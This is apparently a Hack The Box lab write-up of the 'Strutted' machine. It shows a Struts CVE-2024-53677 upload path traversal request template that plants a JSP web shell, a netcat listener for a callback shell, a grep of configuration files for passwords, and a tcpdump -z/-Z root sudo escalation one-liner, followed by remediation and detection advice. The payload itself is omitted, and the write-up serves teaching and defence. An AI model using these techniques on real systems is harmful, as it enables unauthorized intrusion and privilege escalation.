Skip to content

Strutted — Apache Struts Upload Path Traversal and tcpdump Sudo Hook

Tools
rustscan, feroxbuster, netcat, grep, ssh, sudo, tcpdump
Skill demonstrated
Apache Struts upload path traversal and Linux privilege escalation through delegated sudo
Tags
  • linux
  • apache-struts
  • cve-2024-53677
  • path-traversal
  • file-upload
  • sudo-abuse
  • tcpdump
Field Value
Difficulty Medium
Target environment Ubuntu Linux; nginx 1.18.0 front end for a Java Apache Struts 6.3.0.1 application
Starting position Unauthenticated network access
Objective Move from an exposed application archive and a legacy Struts upload flaw to root through a service-account foothold, a stored credential, and an over-broad sudo rule
Outcome Command execution as the Tomcat service account, SSH access for a distinct user via a reused credential, and root through a tcpdump post-rotate hook

Strutted is a Medium-rated Hack The Box Linux lab built around a Java Apache Struts application served behind nginx. A downloadable source archive discloses the framework version and a legacy upload interceptor, which points to the file-upload path traversal tracked as CVE-2024-53677; the exploit lands as the Tomcat service account. A credential left in the application server’s configuration authenticates over SSH for a distinct user, and an unrestricted tcpdump sudo rule reaches root through the binary’s post-rotate hook. Target and attacker identifiers, accounts, and credentials are replaced with role-based placeholders; command syntax is preserved.

Attack path: Exposed application archive → legacy FileUploadInterceptor upload → CVE-2024-53677 upload path traversal → Tomcat service-account shell → reused application credential over SSH → passwordless tcpdump post-rotate hook → root

  • Target: an Ubuntu Linux host exposing SSH (22) and HTTP (80); HTTP is served by nginx through a virtual host, so the application is reachable only with the correct Host context.
  • Application: a downloadable source archive identifies Apache Struts 6.3.0.1 and an upload action using the legacy FileUploadInterceptor with an image-extension allow-list and magic-byte checks.
  • Starting position: unauthenticated network access, with no provided credentials.
  • Objective: follow the upload path from the exposed archive to code execution, then escalate locally by abusing stored credentials and delegated sudo.
  • Constraints: activity was confined to the Hack The Box lab environment.

Observation: a full TCP scan exposes SSH and HTTP, and the web service redirects to a virtual host.

Terminal window
rustscan -a <TARGET_IP> --ulimit 5000 -- -Pn -sC -sV -oN <SCAN_OUTPUT>

Truncated scan output:

22/tcp open ssh OpenSSH 8.9p1 Ubuntu
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://<LAB_VHOST>/

Significance: the redirect establishes that web enumeration requires the virtual-host context; SSH is exposed for later authenticated access once credentials are recovered.

Result: SSH and HTTP are exposed by an Ubuntu host fronted by nginx, and the lab virtual host is identified.

2. Source Disclosure and Upload-Flow Review

Section titled “2. Source Disclosure and Upload-Flow Review”

Observation: content discovery returns a downloadable source archive, whose build metadata and configuration identify the framework and an upload action using the legacy interceptor.

Terminal window
feroxbuster --url http://<LAB_VHOST> --wordlist <CONTENT_WORDLIST>

Truncated discovery output:

200 GET http://<LAB_VHOST>/download

The archive’s pom.xml records the framework coordinate:

org.apache.struts:struts2-core:6.3.0.1

Its struts.xml defines the upload action:

<action name="upload" class="<UPLOAD_ACTION_CLASS>">
<interceptor-ref name="fileUpload">
<param name="maximumSize">2097152</param>
<param name="allowedExtensions">jpg,jpeg,png,gif</param>
</interceptor-ref>
<interceptor-ref name="defaultStack"/>
</action>

Significance: Struts 6.3.0.1 falls in the affected range for CVE-2024-53677, and the deprecated FileUploadInterceptor is exactly the legacy upload path that vulnerability requires; the extension allow-list and a companion Upload.java magic-byte check define the content checks the payload must satisfy.

Result: the archive exposes the framework version and the legacy upload configuration used to assess the traversal.

Observation: the upload action checks the file extension and image magic bytes, but the server-side destination filename is taken from a request parameter.

Action: submit an image-header-prefixed server-side payload through the upload action and set the filename parameter to a traversal path into a web-served directory. The executable payload is intentionally omitted.

POST /upload.action HTTP/1.1
Host: <LAB_VHOST>
Content-Type: multipart/form-data; boundary=<BOUNDARY>
--<BOUNDARY>
Content-Disposition: form-data; name="Upload"; filename="<IMAGE_NAME>.jpg"
Content-Type: image/jpeg
<IMAGE_HEADER><SANITIZED_SERVER_SIDE_CONTENT>
--<BOUNDARY>
Content-Disposition: form-data; name="top.UploadFileName"
../../<SERVER_SIDE_FILE>.jsp
--<BOUNDARY>--

Requesting the uploaded file executes it:

GET /<SERVER_SIDE_FILE>.jsp?cmd=id HTTP/1.1
Host: <LAB_VHOST>
uid=<SERVICE_UID>(<SERVICE_ACCOUNT>) gid=<SERVICE_GID>(<SERVICE_ACCOUNT>)

Significance: the traversal moves the server-side destination while the image header satisfies the magic-byte check, so a server-side file lands in a processed web directory and executes in the application service context.

Result: command execution as the application service account is confirmed.

Observation: command execution runs in the application service context rather than as an authenticated login.

Action: catch an interactive callback on the attacker listener.

Terminal window
nc -nlvp <LISTENER_PORT>
<SERVICE_ACCOUNT>@<TARGET_HOST>:~$ id
uid=<SERVICE_UID>(<SERVICE_ACCOUNT>) gid=<SERVICE_GID>(<SERVICE_ACCOUNT>)

Significance: the interactive session confirms the foothold identity and privilege level for local enumeration.

Result: an interactive shell is obtained as the application service account.

Observation: the application server directory contains a cleartext credential.

Action: search the service configuration for password fields, then try the recovered value over SSH for another account.

Terminal window
grep -R "password" <APPLICATION_CONFIG_DIRECTORY> 2>/dev/null

Finding:

<user username="<APPLICATION_ACCOUNT>" password="<APPLICATION_PASSWORD>" roles="<APPLICATION_ROLES>"/>
Terminal window
ssh <SSH_ACCOUNT>@<LAB_VHOST>

Significance: a credential readable by the service account becomes a lateral-movement risk when another service accepts it. The documented result is that the same value authenticated over SSH as <SSH_ACCOUNT>; wider reuse is not shown.

Result: SSH access as <SSH_ACCOUNT> using the recovered application password.

Observation: the SSH user may run tcpdump through sudo without a password.

Terminal window
sudo -l
User <SSH_ACCOUNT> may run the following commands on localhost:
(ALL) NOPASSWD: /usr/sbin/tcpdump

Action: invoke tcpdump with its post-rotate hook pointed at a staged script, retaining root for the hook.

Terminal window
sudo /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z <POST_ROTATE_SCRIPT> -Z root
root@<TARGET_HOST>:/home/<SSH_ACCOUNT># whoami
root

Significance: -G 1 forces packet-file rotation, -z runs a post-rotate command, and -Z root keeps that hook running as root. An unrestricted sudo rule for this option combination turns the delegated capture tool into privileged command execution.

Result: the post-rotate hook returns a root shell, confirmed by whoami.

Challenge Decision Supported rationale
Image validation on upload Prefix the server-side payload with an image header The upload handler checks the file extension and magic bytes
Identifying the upload weakness Review the exposed archive before assessing the upload action The archive identified the framework version and legacy interceptor
Privilege boundary Inspect sudo permissions before selecting an escalation path The recorded sudo -l output allowed tcpdump

The evidence establishes command execution as the application service account, authenticated SSH access as a separate user from a credential stored in application configuration, and a root context obtained through the delegated tcpdump rule.

Each finding pairs the observed root cause with its demonstrated impact and a prioritized action. The actions are recommendations; none was validated in the lab.

  1. Source archive exposed on the web root. A downloadable archive disclosed the exact framework version and the upload configuration, removing the need for guesswork. Recommendation: keep build artifacts and source archives out of web-served directories and deploy only the compiled application. Detection: alert on requests for archive or build-file extensions under the document root.
  2. Legacy Struts upload handling. The upload action used the deprecated FileUploadInterceptor, whose request-controlled filename lets a payload traverse to a web-served path — the behavior behind CVE-2024-53677. Recommendation: upgrade to a patched Struts release and migrate to the current file-upload mechanism, and validate server-side upload destinations independently of request parameters. Detection: flag upload requests whose filename parameters contain path-traversal sequences.
  3. Cleartext application credential reused for SSH. Configuration readable by the service account stored a cleartext password that also authenticated a distinct SSH account. Recommendation: keep application secrets out of files readable by the service account, and never share a value between an application account and a system login. Detection: alert when an application credential is used to authenticate to a separate service such as SSH.
  4. Unrestricted sudo rule for tcpdump. A passwordless rule allowed running tcpdump as any user; its -z post-rotate hook executes a command, and -Z root retains root for it. Recommendation: scope sudoers to specific commands and arguments, and never delegate tools that can execute arbitrary hooks. Detection: review sudo -l output and alert on privileged tcpdump invocations that use -z.
Edit page

Last updated: